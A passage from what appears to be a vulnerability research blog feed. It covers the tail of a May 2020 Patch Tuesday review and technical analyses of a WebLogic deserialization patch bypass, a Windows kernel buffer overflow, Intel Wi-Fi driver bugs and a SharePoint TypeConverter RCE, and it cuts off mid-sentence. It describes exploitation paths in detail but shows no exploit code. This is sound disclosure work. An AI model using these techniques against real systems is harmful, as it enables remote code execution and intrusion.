Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1064 MSHTML Engine Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1065 Scripting Engine Memory Corruption Vulnerability Critical No No 2 2 RCE CVE-2020-1093 VBScript Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1192 Visual Studio Code Python Extension Remote Code Execution Vulnerability Critical No No 2 2 RCE CVE-2020-1108 .NET Core Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1066 .NET Framework Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1161 ASP.NET Core Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1084 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1123 Connected User Experiences and Telemetry Service Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1140 DirectX Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1092 Internet Explorer Memory Corruption Vulnerability Important No No 2 2 RCE CVE-2020-1051 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1174 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1175 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1176 Jet Database Engine Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1150 Media Foundation Memory Corruption Vulnerability Important No No 2 2 RCE CVE-2020-1055 Microsoft Active Directory Federation Services Cross-Site Scripting Vulnerability Important No No 2 2 XSS CVE-2020-1063 Microsoft Dynamics 365 (On-Premise) Cross Site Scripting Vulnerability Important No No 2 2 XSS CVE-2020-1096 Microsoft Edge PDF Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1059 Microsoft Edge Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-0901 Microsoft Excel Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1099 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1100 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1101 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1106 Microsoft Office SharePoint XSS Vulnerability Important No No 2 2 XSS CVE-2020-1173 Microsoft Power BI Report Server Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1061 Microsoft Script Runtime Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1103 Microsoft SharePoint Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1104 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1105 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1107 Microsoft SharePoint Spoofing Vulnerability Important No No 2 2 Spoof CVE-2020-1010 Microsoft Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1068 Microsoft Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1079 Microsoft Windows Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1118 Microsoft Windows Transport Layer Security Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1035 VBScript Remote Code Execution Vulnerability Important No No 1 1 RCE CVE-2020-1058 VBScript Remote Code Execution Vulnerability Important No No 1 1 RCE CVE-2020-1060 VBScript Remote Code Execution Vulnerability Important No No 1 1 RCE CVE-2020-1171 Visual Studio Code Python Extension Remote Code Execution Vulnerability Important No No 2 2 RCE CVE-2020-1054 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-1143 Win32k Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-1112 Windows Background Intelligent Transfer Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1111 Windows Clipboard Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1121 Windows Clipboard Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1165 Windows Clipboard Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1166 Windows Clipboard Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1154 Windows Common Log File System Driver Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1116 Windows CSRSS Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1076 Windows Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1021 Windows Error Reporting Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1082 Windows Error Reporting Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1088 Windows Error Reporting Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1132 Windows Error Reporting Manager Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1142 Windows GDI Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-0963 Windows GDI Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1141 Windows GDI Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1145 Windows GDI Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1179 Windows GDI Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1135 Windows Graphics Component Elevation of Privilege Vulnerability Important No No 1 1 EoP CVE-2020-0909 Windows Hyper-V Denial of Service Vulnerability Important No No 2 2 DoS CVE-2020-1078 Windows Installer Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1087 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1114 Windows Kernel Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1072 Windows Kernel Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1048 Windows Print Spooler Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1070 Windows Print Spooler Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1081 Windows Printer Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1137 Windows Push Notification Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1071 Windows Remote Access Common Dialog Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1067 Windows Remote Code Execution Vulnerability Important No No 2 2 EoP CVE-2020-1077 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1086 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1090 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1125 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1139 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1149 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1151 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1155 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1156 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1157 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1158 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1164 Windows Runtime Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1124 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1131 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1134 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1144 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1184 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1185 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1186 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1187 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1188 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1189 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1190 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1191 Windows State Repository Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1138 Windows Storage Service Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1075 Windows Subsystem for Linux Information Disclosure Vulnerability Important No No 2 2 Info CVE-2020-1113 Windows Task Scheduler Security Feature Bypass Vulnerability Important No No 2 2 SFB CVE-2020-1109 Windows Update Stack Elevation of Privilege Vulnerability Important No No 2 2 EoP CVE-2020-1110 Windows Update Stack Elevation of Privilege Vulnerability Important No No 2 2 EoP Of the remaining Critical-rated patches, most are related to web browsers or some form of browse-and-own scenario. Chakra Core, IE, and EdgeHTML all receive Critical-rated updates. There are also several Media Foundation Memory Corruption bugs being fixed, including several reported ZDI’s own Hossein Lotfi. Critical SharePoint bugs remain a focus with four more released this month.Users of the Visual Studio Code Python Extension should take note of the two patches released this month. One is rated Critical while the other is rated Important. There’s no indication as to why one is more severe than the other, so you should treat them both as Critical. Rounding out the Critical patches is one to fix a local privilege escalation bug in EdgeHTML. These types of elevation of privilege bugs are typically Important, so it’s not clear why this one is rated Critical. Still, the bug could allow attackers to circumvent cross-domain policies within Edge, so definitely don’t take this one lightly.Moving on to the Important-rated patches, the Security Feature Bypass in the Windows Task Scheduler stands out. A man-in-the-middle could run arbitrary code as an administrator by sending a specially crafted RPC message to an affected system. Although you would need to be close to the target to succeed, RCE as Admin is always intriguing. There are 13 other Important-rated RCE bugs getting fixed this month. Most of these involve some form of user interaction, but others, like CVE-2020-1060, are still browse-and-own.The real bulk of this month’s release comes in the form of Important-rated EoP bugs. There are a total of 56 of these types of fixes in the May release, primarily impacting various Windows components. Patches for the Windows Runtime and the Windows State Repository Service component account for 23 of these fixes. This high volume of EoP vulnerabilities mirrors the types of bugs we’re seeing submitted to the ZDI program.In addition to the previously mentioned RCE bugs in SharePoint, there are several cross-site scripting (XSS) and Spoofing bugs that look surprisingly similar to XSS bugs being fixed this month. One spoofing fix for the Microsoft Power BI Report Server appears to have been fixed back in September 2019. If you haven’t updated since then, you definitely should.This month’s release is rounded about by a handful of information disclosure bugs in the kernel, graphics drivers, and the CSRSS subsystem. Only the bug in SharePoint could allow an attacker to read from the file system. Everything else just exposes memory layout. Finally, there are seven Denial-of-Service (DoS) bugs receiving patches. Besides the previously mentioned TLS bug, the patches for Hyper-V and .NET Core are likely the most impactful.There are no new advisories for this month. There is an update to the Windows Servicing Stack, which adds updates for Windows Server 2008, Windows 7, and Windows Server 2008 R2 this month.Looking AheadThe next Patch Tuesday falls on June 9, and we’ll return with details and patch analysis then. Until then, happy patching and may all your reboots be smooth and clean!

  • Details on the Oracle WebLogic Vulnerability Being Exploited in the Wild
    by Sivathmican Sivakumaran on May 11, 2020 at 5:07 pm

    Earlier this year, I blogged about a deserialization vulnerability in the Oracle WebLogic Server. This was patched by Oracle and assigned CVE-2020-2555. However, researcher Quynh Le of VNPT ISC submitted a bug to the ZDI that showed how the patch could be bypassed. This bug, labeled CVE-2020-2883, is now being reported by Oracle as being used in active attacks. In this blog post, we will go through the details of this recently-patched vulnerability.Patch BypassThe original patch for CVE-2020-2555 did not address the lower portion of the following gadget chain:Any ability to invoke ChainedExtractor.extract() will still result in remote code execution. The report from Quynh Le shows that it is still possible to reach ChainedExtractor.extract() via the ExtractorComparator and AbstractExtractor classes. Let’s start by looking at the compare() method of ExtractorComparator: As shown above, it is still possible to invoke ChainedExtractor.extract() by setting this.m_extractor to an instance of ChainedExtractor . Similarly, the compare() method of the AbstractExtractor abstract class could also be used. The MultiExtractor class extends AbstractExtractor and can be used to reach ChainedExtractor.extract(): The Full Gadget Chain In order to develop a full gadget chain, we need the ability to call compare() method of an arbitrary Comparator from readObject(). The publicly documented method of doing this is using the PriorityQueue class as shown by the following ysoserial gadgets: BeanShell1, Jython1, CommonsCollections2, CommonsBeanutils1, CommonsCollections4 and Groovy1: SiftUpUsingComparator() can invoke the compare() method of an arbitrary Comparator: There are also other methods of accomplishing this. For example, the following method was used by the submitter: In summary, the toString() method of the Mutations class could result in a call to ConcurrentSkipListMap.size(): From ConcurrentSkipListMap.size(), it is possible to invoke the compare() method of an arbitrary Comparator. Demonstrating the Gadget Chains By using the above methods, the following full gadget chain was constructed for the ExtractorComparator case: The following video demonstrates this gadget chain being used to gain RCE via the T3 protocol. And for the AbstractExtractor example, the following chain was used: The following video demonstrates this gadget chain being used to gain RCE via the T3 protocol: Exploiting these vulnerabilities over HTTP:It should be noted that this vulnerability is in the Coherence library. Any application with the Coherence library in its code path where there is a path to deserialization is also vulnerable. One example is Oracle Business Intelligence, which is deployed on Oracle WebLogic.It is possible to use these gadget chains against CVE-2020-2950/ZDI-20-505, which was reported to the ZDI by a researcher named GreenDog, to achieve remote code execution via HTTP.This vulnerability resides in BIRemotingServlet, which listens on port TCP port 7780 and does not require any authentication: BIRemotingServlet uses AMF (Action Message Format) to communicate with a client. As shown, when the AMF packet is deserialized, arbitrary objects may be reconstructed in AMF3ObjectInput via a call to readComplexObject(). In this example, a UnicastRef object is reconstructed resulting in a call to the server-side distributed garbage collector for a remote object, allowing us to respond with an arbitrary serialized object. Responding with one of the gadget chains as described above results in an RCE. For more details of exploitation Java Deserialization in Java AMF implementations, refer to this post from Code White. The gadget chains were added to ysoserial, and its JRMP listener was used to exploit this vulnerability. The following video demonstrates this in action:ConclusionFor further details regarding Java deserialization vulnerabilities, refer to this white paper from Moritz Bechler. Oracle’s blog does not state how widespread the attacks are, but their guidance is clear: patch now. They also offer guidance on how to restrict the T3/T3S protocol traffic for Oracle WebLogic Server. The next release for Oracle patches is scheduled for July 14, 2020. We’ll see how many deserialization bugs remain after that update.You can find me on Twitter at @zebasquared, and follow the team for the latest in exploit techniques and security patches.

  • How a Deceptive Assert Caused a Critical Windows Kernel Vulnerability
    by Simon Zuckerbraun on May 7, 2020 at 4:35 pm

    In a software update released in November 2019, a tiny code change to the Windows kernel driver win32kfull.sys introduced a significant vulnerability. The code change ought to have been harmless. On the face of it, the change was just the insertion of a single assert-type function call to guard against certain invalid data in a parameter. In this article, we’ll dissect the relevant function and see what went wrong. This bug was reported to us by [email protected] and [email protected], and was patched by Microsoft in February 2020 as CVE-2020-0792. Understanding the Function Before examining the code change that caused the vulnerability, we’ll first discuss the operation of the relevant function, which will be instructive in its own right. The function is win32kfull.sys!NtUserResolveDesktopForWOW. The prefix Nt indicates that this function is a member of what is sometimes known as the “Windows Native API,” meaning that it’s a top-level kernel function that is available to be called from user mode via a syscall instruction. For our purposes, there’s no need to understand the exact purpose of the NtUserResolveDesktopForWOW API (which is, in fact, undocumented). Rather, what we must know is that NtUserResolveDesktopForWOW is called from user mode and that the actual implementation resides in a lower-level function named win32kfull!xxxResolveDesktopForWOW. The function NtUserResolveDesktopForWOW does very little on its own. Its main task is to safely interchange parameter and result data in between user mode and kernel mode. The signature of this function is as follows:         NTSTATUS NtUserResolveDesktopForWOW(_UNICODE_STRING *pStr) The single parameter of type _UNICODE_STRING* is an in-out parameter. The caller passes a pointer to a _UNICODE_STRING structure in user memory, initially filled in with data that serves as input data to the function. Before returning, NtUserResolveDesktopForWOW overwrites this user-mode _UNICODE_STRING structure with new string data, representing the result. The _UNICODE_STRING structure is defined as follows: MaximumLength indicates the allocated size of Buffer in bytes, while Length indicates the size in bytes of the actual string data present in the buffer (not including a null terminator). As mentioned above, the main purpose of NtUserResolveDesktopForWOW is to safely interchange data when calling xxxResolveDesktopForWOW. The NtUserResolveDesktopForWOW function performs the following steps, all of which are critical to security:      1: It accepts the parameter of type _UNICODE_STRING* from user mode, and verifies that it is a pointer to a user-mode address as opposed to a kernel-mode address. If it points to a kernel-mode address, it throws an exception.      2: It copies all fields of the _UNICODE_STRING to local variables not accessible from user mode.      3: Reading from those local variables, it validates the integrity of the _UNICODE_STRING. Specifically, it validates that Length is not greater than MaximumLength and that the Buffer exists entirely within user-mode memory. If either of these tests fail, it throws an exception.      4: Again, using the values in the local variables, it creates a new _UNICODE_STRING that lives entirely in kernel-mode memory and points to a new kernel-mode copy of the original buffer. We name this new structure kernelModeString.      5: It passes kernelModeString to the underlying function xxxResolveDesktopForWOW. Upon successful completion, xxxResolveDesktopForWOW places its result in kernelModeString.      6: Finally, if xxxResolveDesktopForWOW has completed successfully, it copies the string result of xxxResolveDesktopForWOW into a new user-mode buffer and overwrites the original _UNICODE_STRING structure to point to the new buffer. Why the need for this complex dance? Primarily, the danger it must guard against is that the user-mode process might pass in a pointer to kernel memory, either via the Buffer field or as the pStr parameter itself. In either event, xxxResolveDesktopForWOW would act upon data read from kernel memory. In that case, by observing the result, the user-mode code could glean clues about what exists at the specified kernel-mode addresses. That would be an information leak from the highly-privileged kernel mode to the low-privileged user mode. Additionally, if pStr itself is a kernel-mode address, then corruption of kernel memory might occur when the result of xxxResolveDesktopForWOW is written back to the memory pointed to by pStr. To properly guard against this, it is not enough to simply insert instructions to validate the user-mode _UNICODE_STRING. Consider the following scenario: — User mode passes a _UNICODE_STRING pointing to a user-mode buffer, as appropriate.– Kernel code verifies that Buffer points to user memory, and concludes that it’s safe to proceed.– At this moment, user-mode code running on another thread modifies the Buffer field so that it now points to kernel memory.– When the kernel-mode code continues on the original thread, it will use an unsafe value the next time it reads the Buffer field. This is a type of Time-Of-Check Time-Of-Use (TOCTOU) vulnerability, and in a context such as this, where two pieces of code running at different privilege levels access a shared region of memory, it is known as a “double fetch”. This refers to the two fetches that the kernel code performs in the scenario above. The first fetch retrieves valid data, but by the time the second fetch occurs, the data has been poisoned. The remedy for double fetch vulnerabilities is to ensure that all data collected by the kernel from user mode is fetched exactly once and copied into kernel-mode state that cannot be tampered from user mode. That is the reason for steps 2 and 4 in the operation of NtUserResolveDesktopForWOW, which copy the _UNICODE_STRING into kernel space. Note that the validation of the Buffer pointer is deferred until after step 2 completes so that the validation can be formed on the data only after it has been copied to tamper-proof storage. NtUserResolveDesktopForWOW even copies the string buffer itself to kernel memory, which is the only truly safe way to eliminate all possible problems associated with a possible double fetch. When allocating the kernel-mode buffer to hold the string data, it allocates a buffer that is the same size as the user-mode buffer, as indicated by MaximumLength. It then copies the actual bytes of the string. For this operation to be safe, it needs to ensure that Length is not more than MaximumLength. This validation is also included in step 3 above. Incidentally, in light of all the above, I should rather say that the function’s signature is: NTSTATUS NtUserResolveDesktopForWOW(volatile _UNICODE_STRING *pStr) The volatile keyword warns the compiler that external code could modify the _UNICODE_STRING structure at any time. Without volatile, it’s possible that the C/C++ compiler itself could introduce double fetches not present in the source code. That is a tale for another time. The Vulnerability The vulnerability is found in the validation of step 3. Before the ill-fated November 2019 software update, the validation code looked like this: MmUserProbeAddress is a global variable that holds an address demarcating user space from kernel space. Comparisons with this value are used to determine if an address points to user space or kernel space. The code *(_BYTE *)MmUserProbeAddress = 0 is used to throw an exception since this address is never writable. The code shown above functions correctly. In the November 2019 update, however, a slight change was made: Note that length_ecx is just the name that I gave to a local variable into which the Length field is copied. Storage for this local variable happens to be the ecx register, and hence the name. As you can see, the code now makes one additional validation check before the others: It ensures that length_ecx & 1 is 0, which is to say, it ensures that the specified Length is an even number. It would be invalid for Length to be an odd number. This is because Length specifies the number of bytes occupied by the string, which should always be even since each Unicode character in the string is represented by a 2-byte sequence. So, before going on to the rest of the checks, it ensures that Length is even, and if this check fails, then normal processing stops and an assert occurs instead. Or does it? Here is the problem. It turns out that the function MicrosoftTelemetryAssertTriggeredNoArgsKM is not an assert at all! In contrast to an assert, which would throw an exception, MicrosoftTelemetryAssertTriggeredNoArgsKM only generates some telemetry data to send back to Microsoft, and then returns to the caller. It’s rather unfortunate that the word “Assert” appears in the function name, and in fact, the function name seems to have deceived the kernel developer at Microsoft who added in the check on length_ecx. It appears that the developer was under the impression that calling MicrosoftTelemetryAssertTriggeredNoArgsKM would terminate execution of the current function so that the remaining checks could safely be relegated to an else clause. In fact, what happens if Length is odd is as follows: MicrosoftTelemetryAssertTriggeredNoArgsKM is called, and then control returns to the current function. The remaining checks are skipped because they are in the else clause. This means that by specifying an odd value for Length, we can skip all the remaining validation. How bad of a problem is this? Extremely bad, as it turns out. Recall that, in an attempt to ensure maximum safety, NtUserResolveDesktopForWOW copies the string data itself into a kernel buffer. It allocates the kernel buffer to be the same size as the original user buffer, which is MaximumLength. It then copies the bytes of the string, according to the number specified in Length. To avoid a buffer overflow, therefore, it was necessary to add in a validation to ensure that Length is not greater than MaximumLength. If we can skip that validation, we get a straightforward buffer overflow in kernel memory. So, in this irony-saturated situation, a slightly flawed combination of safety checks produced an outcome that is probably far more dire than any that the code originally needed to guard against. Simply by specifying an odd value for the Length field, the attacker can write an arbitrary sequence of bytes past the end of a kernel pool allocation. If you’d like to try this yourself, the PoC code is nothing more than the following: This will allocate a kernel pool buffer of size 2 and attempt to copy 0xffff bytes into it from user memory. You may want to run this with Special Pool enabled for win32kfull.sys to ensure a predictable crash. Conclusion Microsoft patched this vulnerability promptly in February 2020. The essence of the patch is that the code now explicitly throws an exception after calling MicrosoftTelemetryAssertTriggeredNoArgsKM. This is done by writing to *MmUserProbeAddress. Even though Microsoft lists this as a change to the “Windows Graphics Component,” the reference is to the win32kfull.sys kernel driver, which plays a key role in rendering graphics. We would like to thank [email protected] and [email protected] for reporting this bug to the ZDI. We certainly hope to see more research from them in the future. You can find me on Twitter at @HexKitchen, and follow the team for the latest in exploit techniques and security patches.

  • Analyzing a Trio of Remote Code Execution Bugs in Intel Wireless Adapters
    by Vincent Lee on May 5, 2020 at 4:24 pm

    Earlier this month, we published three memory corruption bugs (ZDI-20-494, ZDI-20-495, and ZDI-20-496 – collectively referred to as CVE-2020-0558) affecting two Windows Wi-Fi drivers for various Intel dual-band wireless adapters. According to the vendor, these drivers are intended for the AC 7265 Rev D, AC 3168, AC 8265, and AC8260 wireless adapters. Both ZDI-20-494 and ZDI-20-496 are out-of-bounds write vulnerabilities that share a common root cause and reside in both drivers, namely Netwtw04.sys and Netwtw06.sys. ZDI-20-495 is a stack buffer overflow vulnerability that affects the Netwtw06.sys driver only. These bugs were discovered by Haikuo Xie and Ying Wang of Baidu Security Lab and were originally reported to the ZDI at the end of November 2019.You may find a copy of the PoCs for all three vulnerabilities at our GitHub page and poke at them yourself. The PoCs have been tested against the AC 3168 and AC 8260 adapters using the Qualcomm Atheros AR9271-based USB network adapter.All three vulnerabilities require the victim to enable the “Mobile Hotspot” feature. An attacker could exploit these vulnerabilities by simply connecting to the wireless network with malicious 802.11 MAC frames without knowing the password for the mobile hotspot.ZDI-20-495This stack-buffer overflow vulnerability exists in the Netwtw06.sys driver. The PoC sends four 802.11 MAC frames to the victim mobile hotspot, triggering a BSOD on the victim machine. The cause of the vulnerability is straightforward. An overly long SSID is passed to a vulnerable function through the Tag-length-value encoded information element tagged-parameter located within an 802.11 association request frame body. Below is the dissection of the malicious frame, as generated with the Scapy utility: Figure 1 – Packet dissection of the malicious 802.11 Frame In the above diagram, we can see the information element with the ID 0x00, which corresponds to the SSID, has a length of 55 bytes. The long SSID string follows. The vulnerable function, prvhPanClientSaveAssocResp(), copies the SSID into a fixed-length stack buffer through memcpy_s() with an incorrect DstSize parameter. Instead of the destination buffer size, it supplies the attacker-provided SSID length. Below is a disassembly code snippet of the prvhPanClientSaveAssocResp() function taken from version 20.70.13.2 of the driver. Figure 2 – Disassembly of the vulnerable function prvhPanClientSaveAssocResp() At 0x1403A7F5C, r8 points to the start of the SSID information element. At 0x1403A7F66, the attacker provided SSID length (55) is passed to DstSize, and this value is later passed into MaxCount as well. Passing the SSID length in this manner defeats the security of memcpy_s() and is the essence of this vulnerability. If we look further up the disassembly, we can see the stack buffer, var_4C, is 36 bytes long only: Figure 3 – Stack buffer var_4C When memcpy_s() proceeds to copy the attacker-controlled buffer into the undersized stack buffer variable, a buffer overflow condition occurs. ZDI-20-494 and ZDI-20-496Since these two vulnerabilities share the same root cause, we will discuss ZDI-20-494 only. An out-of-bounds write vulnerability exists within the processing of association request frames. In order to reach the vulnerable code path, the attacker must first send an authentication request[1] before sending the malicious association request. The attacker sends an association request frame containing an information element with the ID of 59 (0x3B), which corresponds to Supported Operational Classes. The value of the information element consists of 221 null bytes. A frame dissection of the request follows: Figure 4 – Packet dissection of the malicious association request sent by the PoC The driver calls two functions to handle the information element: prvPanCnctProcessAssocSupportedChannelList() and utilRegulatoryClassToChannelList(). In the handling of the malicious request, prvPanCnctProcessAssocSupportedChannelList() attempts to call the function utilRegulatoryClassToChannelList() 221 times, corresponding to the information element length. Below is a disassembly code snippet of the prvPanCnctProcessAssocSupportedChannelList() function taken from version 19.51.23.1 of the Netwtw04.sys driver: Figure 5 – Disassembly snippet of prvPanCnctProcessAssocSupportedChannelList () At 0x140388500, the ebx loop index is initialized to 0. The loop exit condition at 0x1403885AF compares the loop index ebx with the information element length stored in the eax register from four instructions prior[2]. The utilRegulatoryClassToChannelList() function is called within the loop body at 0x140388559. The third argument to the function is a memory buffer address passed through the r8 register, which is the address of the buffer affected by this out-of-bounds write vulnerability. Also note that at 0x14088502, the first DWORD of the buffer is initialized to zero. The utilRegulatoryClassToChannelList() function reads the first DWORD of the buffer from the vulnerable buffer as an index and uses it as an offset to write 0xFF bytes of data to itself. This occurs every time the function is called. Due to a lack of bounds checking, it is possible for the index to point to memory regions beyond the end of the buffer when this function is called repeatedly. Figure 6 – Disassembly of utilRegulatoryClassToChannelList() At 0x1400D06A8, the vulnerable buffer from the third argument is transferred to the rbx register. At 0x140D068F, the loop index edi is initialized to 0 prior to entering the loop body. This will iterate for 0xFF times. In the basic block starting from 0x140D0718, the first DWORD from the buffer is read and stored in the eax register. This value is immediately used as an offset to the vulnerable buffer and a byte is written to it. At 0x1004D0729, the first DWORD of the vulnerable buffer is incremented. An out-of-bounds write condition occurs when the utilRegulatoryClassToChannelList() function is called more than two times. ConclusionAlthough the triggering conditions for these bugs are quite rare, it is still very interesting to see bugs in the data link layer to come through our program. While there have been a few talks on fuzzing the information element, we are not seeing many analyses and discoveries of Wi-Fi-based bugs. The IEEE 802.11 family of wireless technology standards offer a vast attack surface, and the vulnerability researcher community has barely begun to scrutinize the protocol. A good driver bug from this attack vector gives direct access to the kernel. When compared to web browser-based attacks, which require multiple bugs and sandbox escapes, the Wi-Fi attack vector could be an interesting alternate vector for attackers to consider. For those interested in learning more about the IEEE 802.11 family of standards, 802.11 Wireless Networks: The Definitive Guide written by Matthew S. Gast is a great resource to start your learning.You can find me on Twitter @TrendyTofu, and follow the team for the latest in exploit techniques and security patches.Footnotes[1] An authentication request is not to be confused with the Robust Security Network, also known as RSN or WPA2, standard defined in IEEE 802.11i-2004. An authentication request is a low-level “authentication” that provides no meaningful network security. It is better to think of this as a station identifying itself to the network. [2] Since the index starts from zero, eax is decremented once prior to comparison to avoid an off-by-one mistake. This looks like a for-loop was converted into a do-while loop at compile time. Such conversions are often done to reduce the number of jump instructions and to reduce the loop overhead. For those interested in learning more about loop optimization, consider reading section 12 of Optimizing subroutines in assembly language: An optimization guide for x86 platforms by Agner Fog.

  • CVE-2020-0932: Remote Code Execution on Microsoft SharePoint Using TypeConverters
    by The ZDI Research Team on April 29, 2020 at 4:02 pm

    In April 2020, Microsoft released four Critical and two Important-rated patches to fix remote code execution bugs in Microsoft SharePoint. All these are deserialization bugs. Two came through the ZDI program from an anonymous researcher: CVE-2020-0931 and CVE-2020-0932. This blog looks at that last CVE, also known as ZDI-20-468, in greater detail. Let’s start by taking a look at the bug in action. OverviewThis vulnerability allows authenticated users to execute arbitrary code on a SharePoint server. The code will execute in the context of the service account of the SharePoint web application. For a successful attack, the attacker must have the “Add or Customize Pages” permission on a SharePoint site or at least on one page on the site. However, the default configuration of SharePoint allows any authenticated user to create their own site with all the necessary permissions.The VulnerabilityThe vulnerability exists because SharePoint does not restrict available Types for properties when it parses the XML configuration of WebParts. For a property, an attacker may specify a string and a type name, and SharePoint will attempt to convert the string using a TypeConverter corresponding to the specified type. Some TypeConverters present in the SharePoint libraries can be used for arbitrary code execution. The entry point for this attack is the WebPartPages web service found at:       http://<Site>/_vti_bin/WebPartPages.asmx Within the implementation of this web service there are several methods that deal with parsing XML WebParts configuration, one of which is RenderWebPartForEdit. Note that RenderWebPartForEdit is exposed as a WebMethod, so that it can be invoked via an HTTP request: The next method, webPartImporter.CreateWebPart(), is quite complicated, as it implements parsers for 2 different versions of XML configurations, namely WebPart/v2 (.dwp) files and WebPart/v3 (.webpart) files. Our focus is on the parser for .webpart files. Also, a large portion of the code in this method is dedicated to Type resolution and to validation of the WebPart itself. However, this is not relevant to this attack and is not detailed here. Our XML payload will be passed along to ImportWebPartBase(). This means all property elements will be processed by ImportWebPartFile.AddToProperyArrayLists(): At this point, we control two crucial strings: text and xmlAttributeValue2. text comes from the textual contents of the property element, while xmlAttributeValue2 comes from the element’s type attribute. The code shown above chooses a .NET Type on the basis of xmlAttributeValue2, and then uses the TypeConverter of that Type to convert text into a .NET object instance (propValue). We must now investigate what types are available. Since there is no restriction, we can use any Type we want. Choosing a TypeConverter for RCE To gain arbitrary code execution, we will use the type System.Resources.ResXFileRef and its TypeConverter, System.Resources.ResXFileRef.Converter: This shows that System.Resources.ResXFileRef.Converter will take the string we specify (value) and parse out two pieces of data. The first, shown here as array[0], will be interpreted as a path to a .resources resource file. The second, array[1], will be interpreted as the name of an arbitrary .NET Type. The code shown above will instantiate the specified Type, passing a single argument to the constructor. That argument will be a stream containing the contents of the .resources file we specify. Since we are able to specify a remote path to an attacker-controlled SMB server, we have complete control over the stream contents. Choosing a Type We Can Instantiate With a 